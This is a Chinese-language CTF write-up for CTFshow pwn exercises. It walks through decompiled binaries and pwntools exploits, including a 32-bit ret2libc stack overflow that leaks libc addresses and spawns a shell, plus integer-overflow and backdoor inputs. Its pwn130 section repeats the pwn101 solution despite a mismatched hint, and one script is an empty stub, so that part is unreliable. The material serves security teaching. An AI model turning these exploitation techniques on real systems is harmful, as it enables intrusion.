  sub_DDC(a1, a2, a3, a4, a5, a6, 0, 0, 0, 0);
  sub_B69();
  while ( 1 )
  {
    while ( 1 )
    {
      sub_DA5();
      n2 = sub_B00();
      if ( n2 != 2 )
        break;
      sub_D06();
    }
    if ( n2 == 3 )
      break;
    if ( n2 == 1 )
      sub_B94();
    else
      puts("Wrong input");
  }
  sub_D92();
  return 0;
}

sub_DDC进⾏数值初始化（init），sub_B69进⾏打印logo(logo)。

接下来进⼊⼀个while循环中，紧接着进⼊另⼀个while循环，调⽤sub_DA5函数打印菜单

int sub_DA5()
{
  puts("1.RUN");
  puts("2.SHELL");
  puts("3.Abandon!");
  return puts("Choice:");
}

然后调⽤sub_DB00函数，读⼊⼀个字符，若此字符⼩于等于0则返回-1，否则，将字符⽤strtol函数强转为⼗进制数据，然后返回。返回值赋值给main函数的局部变量n2。若n2不为2则结束当前while循环，否则，调⽤sub_D06函数：

__int64 sub_B00()
{
  _QWORD buf[4]; // [rsp+0h] [rbp-20h] BYREF

  memset(buf, 0, sizeof(buf));
  if ( read(0, buf, 0x1Fu) > 0 )
    return strtol((const char *)buf, 0, 10);
  else
    return -1;
}

int sub_D06()
{
  char s_[264]; // [rsp+8h] [rbp-108h] BYREF

  if ( unk_20208C )
    sprintf(s_, "Hint: %p\n", &system);
  else
    strcpy(s_, "NO PWN NO FUN");
  return puts(s_);
}

会输出system函数的地址。

接下来就是第⼆层while循环下⾯的语句：

若刚刚读⼊数字n2不为3则结束循环，若n2不为1则打印字符串并继续最外层的while循环。

若n2为1，则进⼊sub_B94函数：

int sub_B94()
{
  __int64 v1; // [rsp+0h] [rbp-120h]
  int v2; // [rsp+8h] [rbp-118h]
  int v3; // [rsp+Ch] [rbp-114h]
  __int64 v4; // [rsp+10h] [rbp-110h]
  __int64 n99; // [rsp+10h] [rbp-110h]
  unsigned int n100; // [rsp+18h] [rbp-108h]
  char s_[256]; // [rsp+20h] [rbp-100h] BYREF

  puts("How many doubts?");
  v1 = sub_B00();
  if ( v1 > 0 )
    v4 = v1;
  else
    puts("Loser.");
  puts("Any more?");
  n99 = v4 + sub_B00();
  if ( n99 > 0 )
  {
    if ( n99 <= 99 )
    {
      n100 = n99;
    }
    else
    {
      puts("You are being a real man.");
      n100 = 100;
    }
    puts("Let's go! ");
    v2 = time(0);
    if ( (unsigned int)sub_E43(n100) )
    {
      v3 = time(0);
      sprintf(s_, "Great job! You finished %d question  %d seconds\n", n100, v3 - v2);
      puts(s_);
    }
    else
    {
      puts("You failed.");
    }
    exit(0);
  }
  return puts("Loser~ Loser~ Loser~ Loser~ Loser~");
}

跟进sub_E43():

_BOOL8 __fastcall sub_E43(__int64 n100)
{
  __int64 v2; // rax
  _QWORD buf[4]; // [rsp+10h] [rbp-30h] BYREF
  int v4; // [rsp+34h] [rbp-Ch]
  int v5; // [rsp+38h] [rbp-8h]
  int v6; // [rsp+3Ch] [rbp-4h]

  memset(buf, 0, sizeof(buf));
  if ( !(_DWORD)n100 )
    return 1;
  if ( !(unsigned int)sub_E43((unsigned int)(n100 - 1)) )
    return 0;
  v6 = rand() % (int)n100;
  v5 = rand() % (int)n100;
  v4 = v5 * v6;
  puts("======================Calc 1.0======================");
  printf("doubt %d\n", n100);
  printf("Question: %d * %d = ? Answer:", v6, v5);
  read(0, buf, 0x400u);
  v2 = strtol((const char *)buf, 0, 10);
  return v2 == v4;
}

read会读⼊0x400个字符到栈上，⽽对应的局部变量buf显然没那么⼤，因此会造成栈溢出。由于使⽤了PIE，⽽且题⽬中虽然有system但是没有后⻔，所以本题没办法使⽤partial write劫持RIP。

在进⾏调试时发现了栈上有⼤量指向libc的地址。

查看⼀下汇编代码：

mov     eax, [rbp+var_34]
mov     esi, eax
lea     rdi, aDoubtD    ; "doubt %d\n"
mov     eax, 0
call    _printf
mov     edx, [rbp+var_8]

可以发现printf输出的参数位于栈上，通过rbp定位。

利⽤这两个信息，我们很容易想到可以通过partial overwrite修改RBP的值指向这块内存，从⽽泄露出这些地址，利⽤这些地址和libc就可以计算到one gadget RCE的地址从⽽栈溢出调⽤。我们把RBP的最后两个⼗六进制数改成0x5c，此时[rbp+var_34] = 0x5c-0x34=0x28，泄露位于这个位置的地址。但是成功率有限，有时候能泄露出libc中的地址，有时候是start的⾸地址，有时候是⽆意义的数据，甚⾄会直接出错，原因是[rbp+var_34]中的数据是0，idiv除法指令产⽣了除零错误。此外，我们观察泄露出来的addr_l8会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位，低8个⼗六进制数。⽽这个数的最⾼位可能是0或者1，转换成有符号整数就可能是正负两种情况。

由于我们泄露出来的只是地址的低32位，抛去前⾯的4个0，我们还需要猜16位，即4个⼗六进制数，这种⽅式的爆破区间有点⼤，成功⼏率较低，需要对各种条件进⾏限制才能提升⼏率。

经过调试，发现程序加载地址都为0x000055XXXXXXXXXX-0x000056XXXXXXXXXX

libc的地址都为0x7fXXXXXXXXXX

已知8个16进制数，剩下两个随便填⼀下如：2a

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
payload = b""
io.interactive()

pwn130[先过]

Hint：Calc 2.0远程环境：Ubuntu 16.04

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

还是64位保护全开

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+0h] [rbp-10h] BYREF
  int n0x7FFFFFFF; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  puts("Maybe these help you:");
  useful();
  v4 = 0x80000000;
  n0x7FFFFFFF = 0x7FFFFFFF;
  printf("Enter two integers: ");
  if ( (unsigned int)__isoc99_scanf("%d %d", &v4, &n0x7FFFFFFF) == 2 )
  {
    if ( v4 == 0x80000000 && n0x7FFFFFFF == 0x7FFFFFFF )
      gift();
    else
      printf("upover = %d, downover = %d\n", v4, n0x7FFFFFFF);
    return 0;
  }
  else
  {
    puts("Error: Invalid input. Please enter two integers.");
    return 1;
  }
}

一个很简单的逻辑，先看到有一个useful函数，然后给v4和v5赋值为 0x80000000,0x7FFFFFFF,再提示用户输入两个整数，并将它存储在变量v4和v5中，返回值被强制转换为无符号数，然后与2进行比较。满足后进入下一个if语句，不满足则输出错误信息。如果输入的两个整数分别等于v4跟v5的初始值，则进入这个条件分支，有一个gift函数。如果输入的两个整数不是初始值，则输出这两个数的值。

分别跟进几个不知道干啥的函数useful:

int useful()
{
  puts(" ====================================================================================================");
  puts("           Type         |      Byte      |                          Range                            ");
  puts(" ====================================================================================================");
  puts("      short int         |     2 byte     |                  0~0x7fff 0x8000~0xffff                   ");
  puts("   unsigned short int   |     2 byte     |                        0~0xffff                           ");
  puts("          int           |     4 byte     |             0~0x7fffffff 0x80000000~0xffffffff            ");
  puts("    unsigned int        |     4 byte     |                        0~0xffffffff                       ");
  puts("      long int          |     8 byte     | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff");
  puts("   unsigned long int    |     8 byte     |                    0~0xffffffffffffffff                   ");
  return puts(" ====================================================================================================");
}

这里的0 ~ 0x7fffffff就是 0~2147483647 ，

0x80000000 ~ 0xffffffff就是 -2147483648 ~ -1

gift：

int gift()
{
  puts("This is the first question of this type");
  puts("Here is you want:");
  return system("cat /ctfshow_flag");
}

那么就很简单了只要我们输入的数等于它的初始值满足此条件即可

输入-2147483648 2147483647

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Integer_Overflow
    * Site  : https://ctf.show/
    * Hint  : Learn something first !
    * *************************************
Maybe these help you:
 ====================================================================================================
           Type         |      Byte      |                          Range
 ====================================================================================================
      short int         |     2 byte     |                  0~0x7fff 0x8000~0xffff
   unsigned short int   |     2 byte     |                        0~0xffff
          int           |     4 byte     |             0~0x7fffffff 0x80000000~0xffffffff
    unsigned int        |     4 byte     |                        0~0xffffffff
      long int          |     8 byte     | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
   unsigned long int    |     8 byte     |                    0~0xffffffffffffffff
 ====================================================================================================
Enter two integers: -2147483648 2147483647
This is the first question of this type
Here is you want:
flag{just_test_my_process}

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
payload = b"-2147483648 2147483647" # 2147483648 2147483647 也可以
io.sendlineafter(b"Enter two integers: ",payload)
io.interactive()

pwn131(ubunt18)

Hint：常规绕过

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

32位程序仅关闭Canary

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  puts("main addr is here :");
  printf("%p\n", main);
  ctfshow();
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}

发现程序输出了main函数的地址

跟进ctfshow函数：

ssize_t ctfshow()
{
  _BYTE buf[132]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

明显的栈溢出漏洞

接着看：

$ gdb ./pwn
pwndbg> disas /r main
Dump of assembler code for function main:
   0x0000079a <+0>:8d 4c 24 04        lea    ecx,[esp+0x4]
   0x0000079e <+4>:83 e4 f0           and    esp,0xfffffff0
   0x000007a1 <+7>:ff 71 fc           push   DWORD PTR [ecx-0x4]
   0x000007a4 <+10>:55                 push   ebp
   0x000007a5 <+11>:89 e5              mov    ebp,esp
   0x000007a7 <+13>:53                 push   ebx
   0x000007a8 <+14>:51                 push   ecx
   0x000007a9 <+15>:e8 72 fd ff ff     call   0x520 <__x86.get_pc_thunk.bx>
   0x000007ae <+20>:81 c3 12 28 00 00  add    ebx,0x2812
   0x000007b4 <+26>:e8 64 fe ff ff     call   0x61d 
   0x000007b9 <+31>:e8 a5 fe ff ff     call   0x663 
   0x000007be <+36>:83 ec 0c           sub    esp,0xc
   0x000007c1 <+39>:8d 83 eb dd ff ff  lea    eax,[ebx-0x2215]
   0x000007c7 <+45>:50                 push   eax
   0x000007c8 <+46>:e8 c3 fc ff ff     call   0x490 
   0x000007cd <+51>:83 c4 10           add    esp,0x10
   0x000007d0 <+54>:83 ec 08           sub    esp,0x8
   0x000007d3 <+57>:8d 83 da d7 ff ff  lea    eax,[ebx-0x2826]
   0x000007d9 <+63>:50                 push   eax
   0x000007da <+64>:8d 83 ff dd ff ff  lea    eax,[ebx-0x2201]
   0x000007e0 <+70>:50                 push   eax
   0x000007e1 <+71>:e8 9a fc ff ff     call   0x480 <printf@plt>
   0x000007e6 <+76>:83 c4 10           add    esp,0x10
   0x000007e9 <+79>:e8 77 ff ff ff     call   0x765 
   0x000007ee <+84>:83 ec 04           sub    esp,0x4
   0x000007f1 <+87>:6a 0e              push   0xe
   0x000007f3 <+89>:8d 83 03 de ff ff  lea    eax,[ebx-0x21fd]
   0x000007f9 <+95>:50                 push   eax
   0x000007fa <+96>:6a 00              push   0x0
   0x000007fc <+98>:e8 af fc ff ff     call   0x4b0 
   0x00000801 <+103>:83 c4 10           add    esp,0x10
   0x00000804 <+106>:b8 00 00 00 00     mov    eax,0x0
   0x00000809 <+111>:8d 65 f8           lea    esp,[ebp-0x8]
   0x0000080c <+114>:59                 pop    ecx
   0x0000080d <+115>:5b                 pop    ebx
   0x0000080e <+116>:5d                 pop    ebp
   0x0000080f <+117>:8d 61 fc           lea    esp,[ecx-0x4]
   0x00000812 <+120>:c3                 ret
End of assembler dump.

pwndbg> disas /r ctfshow
Dump of assembler code for function ctfshow:
   0x00000765 <+0>:55                 push   ebp
   0x00000766 <+1>:89 e5              mov    ebp,esp
   0x00000768 <+3>:53                 push   ebx
   0x00000769 <+4>:81 ec 84 00 00 00  sub    esp,0x84
   0x0000076f <+10>:e8 9f 00 00 00     call   0x813 <__x86.get_pc_thunk.ax>
   0x00000774 <+15>:05 4c 28 00 00     add    eax,0x284c
   0x00000779 <+20>:83 ec 04           sub    esp,0x4
   0x0000077c <+23>:68 00 01 00 00     push   0x100
   0x00000781 <+28>:8d 95 78 ff ff ff  lea    edx,[ebp-0x88]
   0x00000787 <+34>:52                 push   edx
   0x00000788 <+35>:6a 00              push   0x0
   0x0000078a <+37>:89 c3              mov    ebx,eax
   0x0000078c <+39>:e8 df fc ff ff     call   0x470 <read@plt>
   0x00000791 <+44>:83 c4 10           add    esp,0x10
   0x00000794 <+47>:90                 nop
   0x00000795 <+48>:8b 5d fc           mov    ebx,DWORD PTR [ebp-0x4]
   0x00000798 <+51>:c9                 leave
   0x00000799 <+52>:c3                 ret
End of assembler dump.

ctfshow函数的栈操作有个细节：

进入函数时：push ebx（把当前ebx保存到栈上，位置是ebp-0x4）；
退出函数时：mov ebx, [ebp-0x4]（从栈上恢复ebx）。

如果栈溢出时覆盖了ebp-0x4的内容（保存ebx的位置），导致恢复的ebx错误，调用任何函数都会崩溃。所以溢出时必须手动填对ebx的值。

所以与之前的不同，它不再对程序的原始字节码做修改，⽽是使⽤⼀类__x86.get_pc_thunk.xx函数，通过PC指针来进⾏定位

__x86.get_pc_thunk.bx的作⽤将下⼀条指令的地址赋值给ebx寄存器，然后通过加上⼀个偏移，得到当前进程GOT表的地址，并以此作为后续操作的基地址

ebx = 0x7ae + 0x2812 = 0x2fc0

程序在运⾏时，这个基地址就是程序第三部分的起始位置

由于在函数末尾有恢复ebx寄存器的⾏为，因此需要在溢出时需要将GOT地址也覆盖上去，⾄此就完成了ASLR和PIE的绕过。

# 构造第一个payload：调用write泄露write的实际地址
# 栈布局（以ctfshow的ebp为基准）：
# [ebp-0x88~ebp-1]：buf[132] → 用132字节填充
# [ebp-0x4]：保存的ebx → 填ebx_addr（恢复ebx）
# [ebp]：旧ebp → 填“bbbb”（随便填，不影响）
# [ebp+4]：返回地址 → 填write_plt（调用write）
# [ebp+8]：write的返回地址 → 填ctfshow_addr（写完后回到ctfshow，等第二次溢出）
# [ebp+12]：write的参数3（count=4）→ 32位地址占4字节，读4字节就行
# [ebp+16]：write的参数2（buf=write_got）→ 输出write_got里的内容（write实际地址）
# [ebp+20]：write的参数1（fd=1）→ 1是stdout（标准输出），把内容打印到屏幕

# 构造第二个payload：调用system("/bin/sh")
# 栈布局：
# 前140字节：填充到返回地址（132(buf) + 4(ebx) + 4(ebp) = 140）
# [ebp+4]：返回地址 → 填system_addr（调用system）
# [ebp+8]：system的返回地址 → 填0（随便填，不影响）
# [ebp+12]：system的参数（/bin/sh地址）→ 填binsh_addr

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# 第一步：泄露程序基地址
io.recvuntil(b"main addr is here :\n") 
main_addr = int(io.recvline(),16)  # 接收main的实际地址（如0x5655679a），转成16进制整数
print(hex(main_addr))
base_addr = main_addr - elf.sym['main']
ctfshow_addr = base_addr + elf.sym['ctfshow']
write_plt = base_addr + elf.sym['write']
write_got = base_addr + elf.got['write']
ebx_addr = base_addr + 0x2fc0  # 正确的ebx值（编译时GOT基址偏移是0x2fc0，加基地址得实际值）

# 构造第一个payload：调用write泄露write的实际地址
payload1 = cyclic(132) + p32(ebx_addr) + b'bbbb' + p32(write_plt) + p32(ctfshow_addr) + p32(1) + p32(write_got) + p32(4)
io.send(payload1)  #触发栈溢出，调用write泄露地址
write_actual_addr = u32(io.recv(4)) #接收write泄露的地址（4字节），转成整数
print(hex(write_actual_addr))

# 第二步：计算libc基地址
libc_base = write_actual_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = cyclic(140) + p32(system_addr) + p32(0) + p32(binsh_addr)
io.send(payload2)  #触发栈溢出，调用system拿到shell
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 89
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0x5a86679a
0xf7381b80
[*] Switching to interactive mode
$ ls
 ctfshow_flag

pwn132

Hint：非常简单的逻辑

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

64位保护全开，这⾥并没有开启FORTIFY保护

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE s[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  memset(s, 0, 0x10u);
  puts("What do you want?");
  printf("%3$#p\n");
  __isoc99_scanf("%s", s);
  ctfshow(s);
  return 0;
}

跟进ctfshow函数：

int __fastcall ctfshow(const char *p_s)
{
  if ( strncmp(p_s, "CTFshow-daniu", 0xDu) )
    return puts("You are too young to simple!");
  puts("Good boy!");
  return system("/bin/sh");
}

可以看到当输⼊的字符串为“CTFshow-daniu”时就能得到⼀个shell，由于没有开启FORTIFY保护，程序也就能正常执⾏：

from pwn import *
io = process('./pwn')
io.sendline(b"CTFshow-daniu")
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 104
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : Simply bypass it!
    * *************************************
What do you want?
0x7286d1669574
Good boy!
$ ls
 ctfshow_flag

pwn133

Hint：保护一开，傻傻分不清了~

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    Stripped:   No

64位保护全开，可以看到这次开启了FORTIFY保护

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD v4[5]; // [rsp+0h] [rbp-28h] BYREF

  v4[3] = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  v4[0] = 0;
  v4[1] = 0;
  puts("What do you want?");
  __isoc99_scanf("%s", v4);
  ctfshow(v4);
  __printf_chk(1, "%9$#p\n");
  return 0;
}

同上⼀题⽐较，发现有些不安全函数已经被替换成安全函数了

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : Simply bypass it!
    * *************************************
What do you want?
CTFshow-daniu
Good boy!
*** invalid %N$ use detected ***
Aborted (core dumped)

此时已经开启了缓冲区溢出攻击检查（不过这⾥也开启了Canary保护）

跟进ctfshow函数：

int __fastcall ctfshow(const void *a1)
{
  bool v2; // al
  bool v3; // cf
  bool v4; // zf
  __int64 n5; // rcx
  const char *p_Stack; // rdi
  const char *v7; // rsi
  char v8; // al
  bool v9; // cf
  bool v10; // zf
  __int64 n3; // rcx
  const char *p_Fmt; // rdi
  const char *v13; // rsi

  v2 = memcmp(a1, "CTFshow-daniu", 0xDu) != 0;
  v3 = 0;
  v4 = !v2;
  if ( v2 )
  {
    n5 = 5;
    p_Stack = "Stack";
    v7 = (const char *)a1;
    do
    {
      if ( !n5 )
        break;
      v3 = *v7 < (unsigned int)*p_Stack;
      v4 = *v7++ == *p_Stack++;
      --n5;
    }
    while ( v4 );
    v8 = (!v3 && !v4) - v3;
    v9 = 0;
    v10 = v8 == 0;
    if ( v8 )
    {
      n3 = 3;
      p_Fmt = "Fmt";
      v13 = (const char *)a1;
      do
      {
        if ( !n3 )
          break;
        v9 = *v13 < (unsigned int)*p_Fmt;
        v10 = *v13++ == *p_Fmt++;
        --n3;
      }
      while ( v10 );
      if ( (!v9 && !v10) == v9 )
      {
        puts("Smart boy!");
        return Fmt("Smart boy!", v13);
      }
      else if ( !memcmp(a1, "check", 5u) )
      {
        __printf_chk(1, "%p\n", a1);
        return _chk();
      }
      else
      {
        return puts("You are too young to simple!");
      }
    }
    else
    {
      puts("Great boy!");
      return Stack_Overflow("Great boy!", v7);
    }
  }
  else
  {
    puts("Good boy!");
    __printf_chk(1, "%3$#p\n");
    return system("/bin/sh");
  }
}

可以看到程序既定的⼀些漏洞在开启此保护后很多函数都被替换成相对安全函数了

unsigned __int64 __fastcall Fmt(__int64 Smart_boy)
{
  char %9$_p_n[10]; // [rsp+Eh] [rbp-1Ah] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  __read_chk(0, %9$_p_n, 20, 10);
  __printf_chk(1, %9$_p_n);
  return __readfsqword(0x28u) ^ v3;
}

查看⼀下敏感字符串[shift+F12]：

.rodata:00000000000013120000000EC/ctfshow_flag

上⼀题的后⻔函数还在，但是很明显，由于开启了FORTIFY保护

这条路根本⾛不下来，程序就会异常退出，看到还有⼀个/ctfshow_flag⽂件，跟进查看⼀下：

unsigned __int64 _chk()
{
  FILE *stream; // rbx
  _BYTE buf[9]; // [rsp+Fh] [rbp-29h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-20h]

  v3 = __readfsqword(0x28u);
  stream = fopen("/ctfshow_flag", "r");
  while ( 1 )
  {
    buf[0] = fgetc(stream);
    if ( buf[0] == 0xFF )
      break;
    write(1, buf, 1u);
  }
  return __readfsqword(0x28u) ^ v3;
}

可以看到如果程序⾛到这就会输出flag，理清逻辑，我们不难知道，当输⼊的字符串为“check”时,即可输出flag

from pwn import *
io = process('./pwn')
io.sendline(b"check")
io.interactive()

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : Simply bypass it!
    * *************************************
What do you want?
check
0x7ffcd3080f50
flag{just_test_my_process}
*** invalid %N$ use detected ***
Aborted (core dumped)

pwn134

Hint：这一次我站在雨里，连我自己也分不清自己！

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    Stripped:   No

64位保护全开，依旧开启了FORTIFY保护

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int128 v4; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-10h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  v4 = 0;
  puts("What do you want?");
  __isoc99_scanf("%s", &v4);
  ctfshow(&v4);
  return 0;
}

跟进ctfshow函数:

int __fastcall ctfshow(const void *a1)
{
  bool v2; // dl
  bool v3; // cf
  bool v4; // zf
  const char *p_Stack; // rdi
  __int64 n5; // rcx
  const char *v7; // rsi
  char v8; // dl
  bool v9; // cf
  bool v10; // zf
  const char *p_Fmt; // rdi
  __int64 n3; // rcx
  const char *v13; // rsi
  bool v14; // dl
  bool v15; // cf
  bool v16; // zf
  const char *p_Exit; // rdi
  const char *v18; // rsi
  __int64 n4; // rcx

  v2 = memcmp(a1, "CTFshow-daniu", 0xDu) != 0;
  v3 = 0;
  v4 = !v2;
  if ( v2 )
  {
    p_Stack = "Stack";
    n5 = 5;
    v7 = (const char *)a1;
    do
    {
      if ( !n5 )
        break;
      v3 = *v7 < (unsigned int)*p_Stack;
      v4 = *v7++ == *p_Stack++;
      --n5;
    }
    while ( v4 );
    v8 = (!v3 && !v4) - v3;
    v9 = 0;
    v10 = v8 == 0;
    if ( v8 )
    {
      p_Fmt = "Fmt";
      n3 = 3;
      v13 = (const char *)a1;
      do
      {
        if ( !n3 )
          break;
        v9 = *v13 < (unsigned int)*p_Fmt;
        v10 = *v13++ == *p_Fmt++;
        --n3;
      }
      while ( v10 );
      if ( (!v9 && !v10) == v9 )
      {
        puts("Smart boy!");
        return Fmt("Smart boy!", v13);
      }
      else
      {
        v14 = memcmp(a1, "Quit", 4u) != 0;
        v15 = 0;
        v16 = !v14;
        if ( !v14 )
        {
          puts("See you ~");
          exit(0);
        }
        p_Exit = "Exit";
        v18 = (const char *)a1;
        n4 = 4;
        do
        {
          if ( !n4 )
            break;
          v15 = *v18 < (unsigned int)*p_Exit;
          v16 = *v18++ == *p_Exit++;
          --n4;
        }
        while ( v16 );
        if ( (!v15 && !v16) == v15 )
        {
          puts("See you again!");
          return daniu("See you again!", v18);
        }
        else
        {
          return puts("You are too young to simple!");
        }
      }
    }
    else
    {
      puts("Great boy!");
      return Stack_Overflow("Great boy!", v7);
    }
  }
  else
  {
    puts("Good boy!");
    __printf_chk(1, "%6$#x\n");
    return system("/bin/sh");
  }
}

可以看到，逻辑原本挺简单的，但是被弄的⾮常复杂，同样的，存在后⻔函数

unsigned __int64 d_daniu()
{
  FILE *stream; // rbx
  _BYTE buf[9]; // [rsp+Fh] [rbp-29h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-20h]

  v3 = __readfsqword(0x28u);
  stream = fopen("/ctfshow_flag", "r");
  while ( 1 )
  {
    buf[0] = fgetc(stream);
    if ( buf[0] == 0xFF )
      break;
    write(1, buf, 1u);
  }
  return __readfsqword(0x28u) ^ v3;
}

只需要捋清楚哪⾥⼀步步调⽤⼀步步跟进就能获取到flag

其实仅仅只需要输⼊”Exit”然后等待⼏秒即可获得flag了

from pwn import *
io = process('./pwn')
io.sendline(b"Exit")
io.interactive()

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Linux_Security_Mechanism_Bypass
    * Site  : https://ctf.show/
    * Hint  : Simply bypass it!
    * *************************************
What do you want?
Exit
See you again!
flag{just_test_my_process}

pwn101-110

2025-08-17T04:00:00.000Z

pwn101

Hint：还是简单的知识

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

还是64位保护全开

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+0h] [rbp-10h] BYREF
  int n0x7FFFFFFF; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  puts("Maybe these help you:");
  useful();
  v4 = 0x80000000;
  n0x7FFFFFFF = 0x7FFFFFFF;
  printf("Enter two integers: ");
  if ( (unsigned int)__isoc99_scanf("%d %d", &v4, &n0x7FFFFFFF) == 2 )
  {
    if ( v4 == 0x80000000 && n0x7FFFFFFF == 0x7FFFFFFF )
      gift();
    else
      printf("upover = %d, downover = %d\n", v4, n0x7FFFFFFF);
    return 0;
  }
  else
  {
    puts("Error: Invalid input. Please enter two integers.");
    return 1;
  }
}

分别跟进几个不知道干啥的函数useful:

int useful()
{
  puts(" ====================================================================================================");
  puts("           Type         |      Byte      |                          Range                            ");
  puts(" ====================================================================================================");
  puts("      short int         |     2 byte     |                  0~0x7fff 0x8000~0xffff                   ");
  puts("   unsigned short int   |     2 byte     |                        0~0xffff                           ");
  puts("          int           |     4 byte     |             0~0x7fffffff 0x80000000~0xffffffff            ");
  puts("    unsigned int        |     4 byte     |                        0~0xffffffff                       ");
  puts("      long int          |     8 byte     | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff");
  puts("   unsigned long int    |     8 byte     |                    0~0xffffffffffffffff                   ");
  return puts(" ====================================================================================================");
}

这里的0 ~ 0x7fffffff就是 0~2147483647 ，

0x80000000 ~ 0xffffffff就是 -2147483648 ~ -1

gift：

int gift()
{
  puts("This is the first question of this type");
  puts("Here is you want:");
  return system("cat /ctfshow_flag");
}

那么就很简单了只要我们输入的数等于它的初始值满足此条件即可

输入-2147483648 2147483647

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Integer_Overflow
    * Site  : https://ctf.show/
    * Hint  : Learn something first !
    * *************************************
Maybe these help you:
 ====================================================================================================
           Type         |      Byte      |                          Range
 ====================================================================================================
      short int         |     2 byte     |                  0~0x7fff 0x8000~0xffff
   unsigned short int   |     2 byte     |                        0~0xffff
          int           |     4 byte     |             0~0x7fffffff 0x80000000~0xffffffff
    unsigned int        |     4 byte     |                        0~0xffffffff
      long int          |     8 byte     | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff
   unsigned long int    |     8 byte     |                    0~0xffffffffffffffff
 ====================================================================================================
Enter two integers: -2147483648 2147483647
This is the first question of this type
Here is you want:
flag{just_test_my_process}

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
payload = b"-2147483648 2147483647" # 2147483648 2147483647 也可以
io.sendlineafter(b"Enter two integers: ",payload)
io.interactive()

pwn102

Hint：还是简单的知识

检查保护：

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

还是64位保护全开

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  puts("Maybe these help you:");
  useful();
  v4 = 0;
  printf("Enter an unsigned integer: ");
  __isoc99_scanf("%u", &v4);
  if ( v4 == -1 )
    gift();
  else
    printf("Number = %u\n", v4);
  return 0;
}

